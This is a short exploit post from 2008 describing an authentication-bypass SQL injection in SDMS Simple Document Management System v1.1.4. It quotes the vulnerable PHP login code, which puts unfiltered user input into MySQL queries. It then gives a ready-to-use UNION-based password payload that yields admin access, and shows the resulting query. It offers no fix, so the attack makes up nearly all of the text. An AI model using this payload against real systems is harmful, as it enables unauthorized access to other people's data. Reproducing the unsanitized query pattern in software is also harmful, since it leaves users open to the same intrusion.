SDMS Simple Document Management System v1.1.4 SQL Injection
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  Author: Yuri


  Program: SDMS Simple Document Management System
  Version: v1.1.4 (and probably all older versions as well)
  Website: http://sdms.cafuego.net/


How it works
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The login system is very insecure, this is the code we are going to abuse:

  $result = @mysql_query("SELECT pass != PASSWORD('$pass') FROM users WHERE user='$login'");

  $row = @mysql_fetch_array($result);

  if( $row[0] != 0 ) {

    header("Location: index.php");

    exit;

  }

  $result = @mysql_query("SELECT id,name FROM users WHERE user='$login'");
  $row = @mysql_fetch_array($result);

  $id = $row[id];

  $name = $row[name];

If the result of the first query is 0, it selects the id and name from the
user entered at the login page. There is no filter on $pass.

So if we enter 
  user: Admin (case insensitive)
  password: ') FROM users WHERE id=-1 UNION SELECT 0 FROM users --

The resulting query looks like this:

  SELECT pass != PASSWORD('') FROM users WHERE id=-1 UNION SELECT 0 FROM users --') FROM users WHERE user='$login'

which is always 0, so voila, admin access.

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            Yuri // 04 - 11 - 2008